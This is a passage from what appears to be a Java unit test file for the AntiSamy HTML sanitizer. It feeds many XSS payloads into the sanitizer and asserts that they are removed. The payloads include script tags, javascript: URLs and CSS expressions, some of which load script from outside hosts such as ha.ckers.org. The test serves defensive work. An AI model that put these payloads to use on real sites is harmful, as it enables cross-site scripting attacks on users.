STYLE=\\\"xss:expr/*XSS*/ession(alert('XSS'))\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"alert\"));", " assertTrue(!as.scan(\"<STYLE>@im\\\\port'\\\\ja\\\\vasc\\\\ript:alert(\\\"XSS\\\")';</STYLE>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"ript:alert\"));\n assertTrue(!as.scan(\"<STYLE>@im\\\\port'\\\\ja\\\\vasc\\\\ript:alert(\\\"XSS\\\")';</STYLE>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"ript:alert\"));", " assertTrue(!as.scan(\"<BASE HREF=\\\"javascript:alert('XSS');//\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));\n assertTrue(!as.scan(\"<BASE HREF=\\\"javascript:alert('XSS');//\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"javascript\"));", " assertTrue(!as.scan(\"<BaSe hReF=\\\"http://arbitrary.com/\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<base\"));\n assertTrue(!as.scan(\"<BaSe hReF=\\\"http://arbitrary.com/\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<base\"));", " assertTrue(!as.scan(\"<OBJECT TYPE=\\\"text/x-scriptlet\\\" DATA=\\\"http://ha.ckers.org/scriptlet.html\\\"></OBJECT>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<object\"));\n assertTrue(!as.scan(\"<OBJECT TYPE=\\\"text/x-scriptlet\\\" DATA=\\\"http://ha.ckers.org/scriptlet.html\\\"></OBJECT>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<object\"));", " assertTrue(!as.scan(\"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));", " CleanResults cr = as.scan(\"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>\", policy, AntiSamy.SAX);\n // System.out.println(cr.getErrorMessages().get(0));\n assertTrue(!cr.getCleanHTML().contains(\"javascript\"));", " assertTrue(!as.scan(\"<EMBED SRC=\\\"http://ha.ckers.org/xss.swf\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<embed\"));\n assertTrue(!as.scan(\"<EMBED SRC=\\\"http://ha.ckers.org/xss.swf\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<embed\"));", " assertTrue(!as.scan(\n \"<EMBED SRC=\\\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\\\" type=\\\"image/svg+xml\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\",\n policy, AntiSamy.DOM).getCleanHTML().contains(\"<embed\"));\n assertTrue(!as.scan(\n \"<EMBED SRC=\\\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\\\" type=\\\"image/svg+xml\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\",\n policy, AntiSamy.SAX).getCleanHTML().contains(\"<embed\"));", " assertTrue(!as.scan(\"<SCRIPT a=\\\">\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<script\"));\n assertTrue(!as.scan(\"<SCRIPT a=\\\">\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<script\"));", " assertTrue(!as.scan(\"<SCRIPT a=\\\">\\\" '' SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<script\"));\n assertTrue(!as.scan(\"<SCRIPT a=\\\">\\\" '' SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<script\"));", " assertTrue(!as.scan(\"<SCRIPT a=`>` SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<script\"));\n assertTrue(!as.scan(\"<SCRIPT a=`>` SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<script\"));", " assertTrue(!as.scan(\"<SCRIPT a=\\\">'>\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<script\"));\n assertTrue(!as.scan(\"<SCRIPT a=\\\">'>\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<script\"));", " assertTrue(!as.scan(\"<SCRIPT>document.write(\\\"<SCRI\\\");</SCRIPT>PT SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"script\"));\n assertTrue(!as.scan(\"<SCRIPT>document.write(\\\"<SCRI\\\");</SCRIPT>PT SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"script\"));", " assertTrue(!as.scan(\"<SCRIPT SRC=http://ha.ckers.org/xss.js\", policy, AntiSamy.DOM).getCleanHTML().contains(\"<script\"));\n assertTrue(!as.scan(\"<SCRIPT SRC=http://ha.ckers.org/xss.js\", policy, AntiSamy.SAX).getCleanHTML().contains(\"<script\"));", " assertTrue(!as.scan(\n \"<div/style=&#92&#45&#92&#109&#111&#92&#122&#92&#45&#98&#92&#105&#92&#110&#100&#92&#105&#110&#92&#103:&#92&#117&#114&#108&#40&#47&#47&#98&#117&#115&#105&#110&#101&#115&#115&#92&#105&#92&#110&#102&#111&#46&#99&#111&#46&#117&#107&#92&#47&#108&#97&#98&#115&#92&#47&#120&#98&#108&#92&#47&#120&#98&#108&#92&#46&#120&#109&#108&#92&#35&#120&#115&#115&#41&>\",\n policy, AntiSamy.DOM).getCleanHTML().contains(\"style\"));\n assertTrue(!as.scan(\n \"<div/style=&#92&#45&#92&#109&#111&#92&#122&#92&#45&#98&#92&#105&#92&#110&#100&#92&#105&#110&#92&#103:&#92&#117&#114&#108&#40&#47&#47&#98&#117&#115&#105&#110&#101&#115&#115&#92&#105&#92&#110&#102&#111&#46&#99&#111&#46&#117&#107&#92&#47&#108&#97&#98&#115&#92&#47&#120&#98&#108&#92&#47&#120&#98&#108&#92&#46&#120&#109&#108&#92&#35&#120&#115&#115&#41&>\",\n policy, AntiSamy.SAX).getCleanHTML().contains(\"style\"));", " assertTrue(!as.scan(\"<a href='aim: &c:\\\\windows\\\\system32\\\\calc.exe' ini='C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\pwnd.bat'>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"aim.exe\"));\n assertTrue(!as.scan(\"<a href='aim: &c:\\\\windows\\\\system32\\\\calc.exe' ini='C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\pwnd.bat'>\", policy, AntiSamy.SAX)\n .getCleanHTML().contains(\"aim.exe\"));", " assertTrue(!as.scan(\"<!--\\n<A href=\\n- --><a href=javascript:alert:document.domain>test-->\", policy, AntiSamy.DOM).getCleanHTML().contains(\"javascript\"));\n assertTrue(!as.scan(\"<!--\\n<A href=\\n- --><a href=javascript:alert:document.domain>test-->\", policy, AntiSamy.SAX).getCleanHTML().contains(\"javascript\"));", " assertTrue(!as.scan(\"<a></a style=\\\"\\\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"document\"));\n assertTrue(!as.scan(\"<a></a style=\\\"\\\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"document\"));\n }", " /*\n * Test CSS protections.\n */", " @Test\n public void cssAttacks() throws ScanException, PolicyException {", " assertTrue(!as.scan(\"<div style=\\\"position:absolute\\\">\", policy, AntiSamy.DOM).getCleanHTML().contains(\"position\"));\n assertTrue(!as.scan(\"<div style=\\\"position:absolute\\\">\", policy, AntiSamy.SAX).getCleanHTML().contains(\"position\"));", " assertTrue(!as.scan(\"<style>b { position:absolute }</style>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"position\"));\n assertTrue(!as.scan(\"<style>b { position:absolute }</style>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"position\"));", " assertTrue(!as.scan(\"<div style=\\\"z-index:25\\\">test</div>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"z-index\"));\n assertTrue(!as.scan(\"<div style=\\\"z-index:25\\\">test</div>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"z-index\"));", " assertTrue(!as.scan(\"<style>z-index:25</style>\", policy, AntiSamy.DOM).getCleanHTML().contains(\"z-index\"));\n assertTrue(!as.scan(\"<style>z-index:25</style>\", policy, AntiSamy.SAX).getCleanHTML().contains(\"z-index\"));\n }", " /*\n * Test a bunch of strings that have tweaked the XML parsing capabilities of\n * NekoHTML.\n */\n @Test\n public void IllegalXML() throws PolicyException {", " for (String BASE64_BAD_XML_STRING : BASE64_BAD_XML_STRINGS) {", " try {\n String testStr = new String(Base64.decodeBase64(BASE64_BAD_XML_STRING.getBytes()));\n as.scan(testStr, policy, AntiSamy.DOM);\n as.scan(testStr, policy, AntiSamy.SAX);", " } catch (ScanException ex) {\n // still success!\n }\n }", " // This fails due to a bug in NekoHTML\n // try {\n // assertTrue (\n // as.scan(\"<a . href=\\\"http://www.test.com\\\">\",policy, AntiSamy.DOM).getCleanHTML().indexOf(\"href\")\n // != -1 );\n // } catch (Exception e) {\n // e.printStackTrace();\n // fail(\"Couldn't parse malformed HTML: \" + e.getMessage());\n // }", " // This fails due to a bug in NekoHTML\n // try {\n // assertTrue (\n // as.scan(\"<a - href=\\\"http://www.test.com\\\">\",policy, AntiSamy.DOM).getCleanHTML().indexOf(\"href\")\n // != -1 );\n // } catch (Exception e) {\n // e.printStackTrace();\n // fail(\"Couldn't parse malformed HTML: \" + e.getMessage());\n // }", " try {\n assertTrue(as.scan(\"<style>\", policy, AntiSamy.DOM) != null);\n } catch (Exception e) {\n e.printStackTrace();\n fail(\"Couldn't parse malformed HTML: \" + e.getMessage());\n }\n }", " @Test\n public void issue12() throws ScanException, PolicyException {", " /*\n * issues 12 (and 36, which was similar). empty tags cause display\n * problems/\"formjacking\"\n */", " Pattern p = Pattern.compile(\".*<strong(\\\\s*)/>.*\");\n String s1 = as.scan(\"<br ><strong></strong><a>hello world</a><b /><i/><hr>\", policy, AntiSamy.DOM).getCleanHTML();\n String s2 = as.scan(\"<br ><strong></strong><a>hello world</a><b /><i/><hr>\", policy, AntiSamy.SAX).getCleanHTML();", " assertFalse(p.matcher(s1).matches());", " p = Pattern.compile(\".*<b(\\\\s*)/>.*\");\n assertFalse(p.matcher(s1).matches());\n assertFalse(p.matcher(s2).matches());", " p = Pattern.compile(\".*<i(\\\\s*)/>.*\");\n assertFalse(p.matcher(s1).matches());\n assertFalse(p.matcher(s2).matches());", " assertTrue(s1.contains(\"<hr />\") || s1.contains(\"<hr/>\"));\n assertTrue(s2.contains(\"<hr />\") || s2.contains(\"<hr/>\"));\n }", " @Test\n public void issue20() throws ScanException, PolicyException {\n String s = as.scan(\"<b><i>Some Text</b></i>\", policy, AntiSamy.DOM).getCleanHTML();\n assertTrue(!s.contains(\"<i />\"));", " s = as.scan(\"<b><i>Some Text</b></i>\", policy, AntiSamy.SAX).getCleanHTML();\n assertTrue(!s.contains(\"<i />\"));\n }", " @Test\n public void issue25() throws ScanException, PolicyException {\n String s = \"<div style=\\\"margin: -5em\\\">Test</div>\";\n String expected = \"<div style=\\\"\\\">Test</div>\";", " String crDom = as.scan(s, policy, AntiSamy.DOM).getCleanHTML();\n assertEquals(crDom, expected);\n String crSax = as.scan(s, policy, AntiSamy.SAX).getCleanHTML();\n assertEquals(crSax, expected);\n }", "\n @Test\n public void issue28() throws ScanException, PolicyException {\n String s1 = as.scan(\"<div style=\\\"font-family: Geneva, Arial, courier new, sans-serif\\\">Test</div>\", policy, AntiSamy.DOM).getCleanHTML();\n String s2 = as.scan(\"<div style=\\\"font-family: Geneva, Arial, courier new, sans-serif\\\">Test</div>\", policy, AntiSamy.SAX).getCleanHTML();\n assertTrue(s1.contains(\"font-family\"));\n assertTrue(s2.contains(\"font-family\"));\n }", " @Test\n public void issue29() throws ScanException, PolicyException {\n /* issue #29 - missing quotes around properties with spaces */\n String s = \"<style type=\\\"text/css\\\"><![CDATA[P {\\n\tfont-family: \\\"Arial Unicode MS\\\";\\n}\\n]]></style>\";\n CleanResults cr = as.scan(s, policy, AntiSamy.DOM);\n assertEquals(s, cr.getCleanHTML());\n }", " @Test\n public void issue30() throws ScanException, PolicyException {", " String s = \"<style type=\\\"text/css\\\"><![CDATA[P { margin-bottom: 0.08in; } ]]></style>\";", " as.scan(s, policy, AntiSamy.DOM);\n CleanResults cr;", " /* followup - does the patch fix multiline CSS? */\n String s2 = \"<style type=\\\"text/css\\\"><![CDATA[\\r\\nP {\\r\\n margin-bottom: 0.08in;\\r\\n}\\r\\n]]></style>\";\n cr = as.scan(s2, policy, AntiSamy.DOM);\n assertEquals(\"<style type=\\\"text/css\\\"><![CDATA[P {\\n\\tmargin-bottom: 0.08in;\\n}\\n]]></style>\", cr.getCleanHTML());", " /* next followup - does non-CDATA parsing still work? */", " String s3 = \"<style>P {\\n\\tmargin-bottom: 0.08in;\\n}\\n\";\n cr = as.scan(s3, policy.cloneWithDirective(Policy.USE_XHTML, \"false\"), AntiSamy.DOM);\n assertEquals(\"<style>P {\\n\\tmargin-bottom: 0.08in;\\n}\\n</style>\\n\", cr.getCleanHTML());\n }", " @Test\n public void issue31() throws ScanException, PolicyException {", " String test = \"<b><u><g>foo</g></u></b>\";\n Policy revised = policy.cloneWithDirective(\"onUnknownTag\", \"encode\");\n CleanResults cr = as.scan(test, revised, AntiSamy.DOM);\n String s = cr.getCleanHTML();\n assertFalse(!s.contains(\"&lt;g&gt;\"));\n assertFalse(!s.contains(\"&lt;/g&gt;\"));\n s = as.scan(test, revised, AntiSamy.SAX).getCleanHTML();\n assertFalse(!s.contains(\"&lt;g&gt;\"));\n assertFalse(!s.contains(\"&lt;/g&gt;\"));", " Tag tag = policy.getTagByLowercaseName(\"b\").mutateAction(\"encode\");\n Policy policy1 = policy.mutateTag(tag);", " cr = as.scan(test, policy1, AntiSamy.DOM);\n s = cr.getCleanHTML();", " assertFalse(!s.contains(\"&lt;b&gt;\"));\n assertFalse(!s.contains(\"&lt;/b&gt;\"));", " cr = as.scan(test, policy1, AntiSamy.SAX);\n s = cr.getCleanHTML();", " assertFalse(!s.contains(\"&lt;b&gt;\"));\n assertFalse(!s.contains(\"&lt;/b&gt;\"));\n }", " @Test\n public void issue32() throws ScanException, PolicyException {\n /* issue #32 - nekos problem */\n String s = \"<SCRIPT =\\\">\\\" SRC=\\\"\\\"></SCRIPT>\";\n as.scan(s, policy, AntiSamy.DOM);\n as.scan(s, policy, AntiSamy.SAX);\n }", " @Test\n public void issue37() throws ScanException, PolicyException {", " String dirty = \"<a onblur=\\\"try {parent.deselectBloggerImageGracefully();}\" + \"catch(e) {}\\\"\"\n + \"href=\\\"http://www.charityadvantage.com/ChildrensmuseumEaston/images/BookswithBill.jpg\\\"><img\" + \"style=\\\"FLOAT: right; MARGIN: 0px 0px 10px 10px; WIDTH: 150px; CURSOR:\"\n + \"hand; HEIGHT: 100px\\\" alt=\\\"\\\"\" + \"src=\\\"http://www.charityadvantage.com/ChildrensmuseumEaston/images/BookswithBill.jpg\\\"\"\n + \"border=\\\"0\\\" /></a><br />Poor Bill, couldn't make it to the Museum's <span\" + \"class=\\\"blsp-spelling-corrected\\\" id=\\\"SPELLING_ERROR_0\\\">story time</span>\"\n + \"today, he was so busy shoveling! Well, we sure missed you Bill! So since\" + \"ou were busy moving snow we read books about snow. We found a clue in one\"\n + \"book which revealed a snowplow at the end of the story - we wish it had\" + \"driven to your driveway Bill. We also read a story which shared fourteen\"\n + \"<em>Names For Snow. </em>We'll catch up with you next week....wonder which\" + \"hat Bill will wear?<br />Jane\";", " Policy mySpacePolicy = Policy.getInstance(getClass().getResource(\"/antisamy-myspace.xml\"));\n CleanResults cr = as.scan(dirty, mySpacePolicy, AntiSamy.DOM);\n assertNotNull(cr.getCleanHTML());\n cr = as.scan(dirty, mySpacePolicy, AntiSamy.SAX);\n assertNotNull(cr.getCleanHTML());", " Policy ebayPolicy = Policy.getInstance(getClass().getResource(\"/antisamy-ebay.xml\"));\n cr = as.scan(dirty, ebayPolicy, AntiSamy.DOM);\n assertNotNull(cr.getCleanHTML());\n cr = as.scan(dirty, mySpacePolicy, AntiSamy.SAX);\n assertNotNull(cr.getCleanHTML());", " Policy slashdotPolicy = Policy.getInstance(getClass().getResource(\"/antisamy-slashdot.xml\"));\n cr = as.scan(dirty, slashdotPolicy, AntiSamy.DOM);\n assertNotNull(cr.getCleanHTML());\n cr = as.scan(dirty, slashdotPolicy, AntiSamy.SAX);\n assertNotNull(cr.getCleanHTML());\n }", " @Test\n public void issue38() throws ScanException, PolicyException {", " /* issue #38 - color problem/color combinations */\n String s = \"<font color=\\\"#fff\\\">Test</font>\";\n String expected = \"<font color=\\\"#fff\\\">Test</font>\";\n assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);\n assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);", " s = \"<div style=\\\"color: #fff\\\">Test 3 letter code</div>\";\n expected = \"<div style=\\\"color: rgb(255,255,255);\\\">Test 3 letter code</div>\";\n assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);\n assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);", " s = \"<font color=\\\"red\\\">Test</font>\";\n expected = \"<font color=\\\"red\\\">Test</font>\";\n assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);\n assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);", " s = \"<font color=\\\"neonpink\\\">Test</font>\";\n expected = \"<font>Test</font>\";\n assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);\n assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);", " s = \"<font color=\\\"#0000\\\">Test</font>\";\n expected = \"<font>Test</font>\";\n assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);\n assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);", " s = \"<div style=\\\"color: #0000\\\">Test</div>\";\n expected = \"<div style=\\\"\\\">Test</div>\";\n assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);\n assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);", " s = \"<font color=\\\"#000000\\\">Test</font>\";\n expected = \"<font color=\\\"#000000\\\">Test</font>\";\n assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);\n assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);", " s = \"<div style=\\\"color: #000000\\\">Test</div>\";\n expected = \"<div style=\\\"color: rgb(0,0,0);\\\">Test</div>\";\n assertEquals(as.scan(s, policy, AntiSamy.DOM).getCleanHTML(), expected);\n assertEquals(as.scan(s, policy, AntiSamy.SAX).getCleanHTML(), expected);", " /*\n * This test case was failing because of the following code from the\n * batik CSS library, which throws an exception if any character\n * other than a '!' follows a beginning token of '<'. The\n * ParseException is now caught in the node a CssScanner.java and\n * the outside AntiSamyDOMScanner.java.\n *\n * 0398 nextChar(); 0399 if (current != '!') { 0400 throw new\n * ParseException(\"character\", 0401 reader.getLine(), 0402\n * reader.getColumn());\n */\n s = \"<b><u>foo<style><script>alert(1)</script></style>@import 'x';</u>bar\";\n as.scan(s, policy, AntiSamy.DOM);\n as.scan(s, policy, AntiSamy.SAX);\n }", " @Test\n public void issue40() throws ScanException, PolicyException {", " /* issue #40 - handling <style> media attributes right */", " String s = \"<style media=\\\"print, projection, screen\\\"> P { margin: 1em; }</style>\";\n Policy revised = policy.cloneWithDirective(Policy.PRESERVE_SPACE, \"true\");", " CleanResults cr = as.scan(s, revised, AntiSamy.DOM);\n assertTrue(cr.getCleanHTML().contains(\"print, projection, screen\"));", " cr = as.scan(s, revised, AntiSamy.SAX);\n assertTrue(cr.getCleanHTML().contains(\"print, projection, screen\"));\n }", " @Test\n public void issue41() throws ScanException, PolicyException {\n /* issue #41 - comment handling */", " Policy revised = policy.cloneWithDirective(Policy.PRESERVE_SPACE, \"true\");", " policy.cloneWithDirective(Policy.PRESERVE_COMMENTS, \"false\");", " assertEquals(\"text \", as.scan(\"text <!-- comment -->\", revised, AntiSamy.DOM).getCleanHTML());\n assertEquals(\"text \", as.scan(\"text <!-- comment -->\", revised, AntiSamy.SAX).getCleanHTML());", " Policy revised2 = policy.cloneWithDirective(Policy.PRESERVE_COMMENTS, \"true\").cloneWithDirective(Policy.PRESERVE_SPACE, \"true\").cloneWithDirective(Policy.FORMAT_OUTPUT, \"false\");", " /*\n * These make sure the regular comments are kept alive and that\n * conditional comments are ripped out.\n */\n assertEquals(\"<div>text <!-- comment --></div>\", as.scan(\"<div>text <!-- comment --></div>\", revised2, AntiSamy.DOM).getCleanHTML());\n assertEquals(\"<div>text <!-- comment --></div>\", as.scan(\"<div>text <!-- comment --></div>\", revised2, AntiSamy.SAX).getCleanHTML());", " assertEquals(\"<div>text <!-- comment --></div>\", as.scan(\"<div>text <!--[if IE]> comment <[endif]--></div>\", revised2, AntiSamy.DOM).getCleanHTML());\n assertEquals(\"<div>text <!-- comment --></div>\", as.scan(\"<div>text <!--[if IE]> comment <[endif]--></div>\", revised2, AntiSamy.SAX).getCleanHTML());", " /*\n * Check to see how nested conditional comments are handled. This is\n * not very clean but the main goal is to avoid any tags. Not sure\n * on encodings allowed in comments.\n */\n String input = \"<div>text <!--[if IE]> <!--[if gte 6]> comment <[endif]--><[endif]--></div>\";\n String expected = \"<div>text <!-- <!-- comment -->&lt;[endif]--&gt;</div>\";\n String output = as.scan(input, revised2, AntiSamy.DOM).getCleanHTML();\n assertEquals(expected, output);", " input = \"<div>text <!--[if IE]> <!--[if gte 6]> comment <[endif]--><[endif]--></div>\";\n expected = \"<div>text <!-- <!-- comment -->&lt;[endif]--&gt;</div>\";\n output = as.scan(input, revised2, AntiSamy.SAX).getCleanHTML();", " assertEquals(expected, output);", " /*\n * Regular comment nested inside conditional comment. Test makes\n * sure\n */\n assertEquals(\"<div>text <!-- <!-- IE specific --> comment &lt;[endif]--&gt;</div>\", as.scan(\"<div>text <!--[if IE]> <!-- IE specific --> comment <[endif]--></div>\", revised2, AntiSamy.DOM).getCleanHTML());", " /*\n * These play with whitespace and have invalid comment syntax.\n */\n assertEquals(\"<div>text <!-- \\ncomment --></div>\", as.scan(\"<div>text <!-- [ if lte 6 ]>\\ncomment <[ endif\\n]--></div>\", revised2, AntiSamy.DOM).getCleanHTML());\n assertEquals(\"<div>text comment </div>\", as.scan(\"<div>text <![if !IE]> comment <![endif]></div>\", revised2, AntiSamy.DOM).getCleanHTML());\n assertEquals(\"<div>text comment </div>\", as.scan(\"<div>text <![ if !IE]> comment <![endif]></div>\", revised2, AntiSamy.DOM).getCleanHTML());", " String attack = \"[if lte 8]<script>\";\n String spacer = \"<![if IE]>\";", " StringBuilder sb = new StringBuilder();", " sb.append(\"<div>text<!\");", " for (int i = 0; i < attack.length(); i++) {\n sb.append(attack.charAt(i));\n sb.append(spacer);\n }", " sb.append(\"<![endif]>\");", " String s = sb.toString();", " assertTrue(!as.scan(s, revised2, AntiSamy.DOM).getCleanHTML().contains(\"<script\"));\n assertTrue(!as.scan(s, revised2, AntiSamy.SAX).getCleanHTML().contains(\"<script\"));\n }", " @Test\n public void issue44() throws ScanException, PolicyException {\n /*\n * issue #44 - childless nodes of non-allowed elements won't cause an error\n */\n String s = \"<iframe src='http://foo.com/'></iframe>\" + \"<script src=''></script>\" + \"<link href='/foo.css'>\";\n as.scan(s, policy, AntiSamy.DOM);\n assertEquals(as.scan(s, policy, AntiSamy.DOM).getNumberOfErrors(), 3);", " CleanResults cr = as.scan(s, policy, AntiSamy.SAX);", " assertEquals(cr.getNumberOfErrors(), 3);\n }", " @Test\n public void issue51() throws ScanException, PolicyException {\n /* issue #51 - offsite URLs with () are found to be invalid */\n String s = \"<a href='http://subdomain.domain/(S(ke0lpq54bw0fvp53a10e1a45))/MyPage.aspx'>test</a>\";\n CleanResults cr = as.scan(s, policy, AntiSamy.DOM);", " assertEquals(cr.getNumberOfErrors(), 0);", " cr = as.scan(s, policy, AntiSamy.SAX);\n assertEquals(cr.getNumberOfErrors(), 0);\n }", " @Test\n public void issue56() throws ScanException, PolicyException {\n /* issue #56 - unnecessary spaces */", " String s = \"<SPAN style='font-weight: bold;'>Hello World!</SPAN>\";\n String expected = \"<span style=\\\"font-weight: bold;\\\">Hello World!</span>\";", " CleanResults cr = as.scan(s, policy, AntiSamy.DOM);\n String s2 = cr.getCleanHTML();", " assertEquals(expected, s2);", " cr = as.scan(s, policy, AntiSamy.SAX);\n s2 = cr.getCleanHTML();", " assertEquals(expected, s2);\n }", " @Test\n public void issue58() throws ScanException, PolicyException {\n /* issue #58 - input not in list of allowed-to-be-empty tags */\n String s = \"tgdan <input/> g h\";\n CleanResults cr = as.scan(s, policy, AntiSamy.DOM);\n assertTrue(cr.getErrorMessages().size() == 0);", " cr = as.scan(s, policy, AntiSamy.SAX);\n assertTrue(cr.getErrorMessages().size() == 0);\n }", " @Test\n public void issue61() throws ScanException, PolicyException {\n /* issue #61 - input has newline appended if ends with an accepted tag */\n String dirtyInput = \"blah <b>blah</b>.\";\n Policy revised = policy.cloneWithDirective(Policy.FORMAT_OUTPUT, \"false\");\n CleanResults cr = as.scan(dirtyInput, revised, AntiSamy.DOM);\n assertEquals(dirtyInput, cr.getCleanHTML());", " cr = as.scan(dirtyInput, revised, AntiSamy.SAX);\n assertEquals(dirtyInput, cr.getCleanHTML());\n }", " @Test\n public void issue69() throws ScanException, PolicyException {", " /* issue #69 - char attribute should allow single char or entity ref */", " String s = \"<table><tr><td char='.'>test</td></tr></table>\";\n CleanResults crDom = as.scan(s, policy, AntiSamy.DOM);\n CleanResults crSax = as.scan(s, policy, AntiSamy.SAX);\n String domValue = crDom.getCleanHTML();\n String saxValue = crSax.getCleanHTML();\n assertTrue(domValue.contains(\"char\"));\n assertTrue(saxValue.contains(\"char\"));", " s = \"<table><tr><td char='..'>test</td></tr></table>\";\n assertTrue(!as.scan(s, policy, AntiSamy.DOM).getCleanHTML().contains(\"char\"));\n assertTrue(!as.scan(s, policy, AntiSamy.SAX).getCleanHTML().contains(\"char\"));", " s = \"<table><tr><td char='&quot;'>test</td></tr></table>\";\n assertTrue(as.scan(s, policy, AntiSamy.DOM).getCleanHTML().contains(\"char\"));\n assertTrue(as.scan(s, policy, AntiSamy.SAX).getCleanHTML().contains(\"char\"));", " s = \"<table><tr><td char='&quot;a'>test</td></tr></table>\";\n assertTrue(!as.scan(s, policy, AntiSamy.DOM).getCleanHTML().contains(\"char\"));\n assertTrue(!as.scan(s, policy, AntiSamy.SAX).getCleanHTML().contains(\"char\"));", " s = \"<table><tr><td char='&quot;&amp;'>test</td></tr></table>\";\n assertTrue(!as.scan(s, policy, AntiSamy.DOM).getCleanHTML().contains(\"char\"));\n assertTrue(!as.scan(s, policy, AntiSamy.SAX).getCleanHTML().contains(\"char\"));\n }", " @Test\n public void CDATAByPass() throws ScanException, PolicyException {\n String malInput = \"<![CDATA[]><script>alert(1)</script>]]>\";\n CleanResults crd = as.scan(malInput, policy, AntiSamy.DOM);\n CleanResults crs = as.scan(malInput, policy, AntiSamy.SAX);\n String crDom = crd.getCleanHTML();\n String crSax = crs.getCleanHTML();", " assertTrue(crd.getErrorMessages().size() > 0);\n assertTrue(crs.getErrorMessages().size() > 0);", " assertTrue(crSax.contains(\"&lt;script\") && !crDom.contains(\"<script\"));\n assertTrue(crDom.contains(\"&lt;script\") && !crDom.contains(\"<script\"));\n }", " @Test\n public void literalLists() throws ScanException, PolicyException {", " /* this test is for confirming literal-lists work as\n * advertised. it turned out to be an invalid / non-\n * reproducible bug report but the test seemed useful\n * enough to 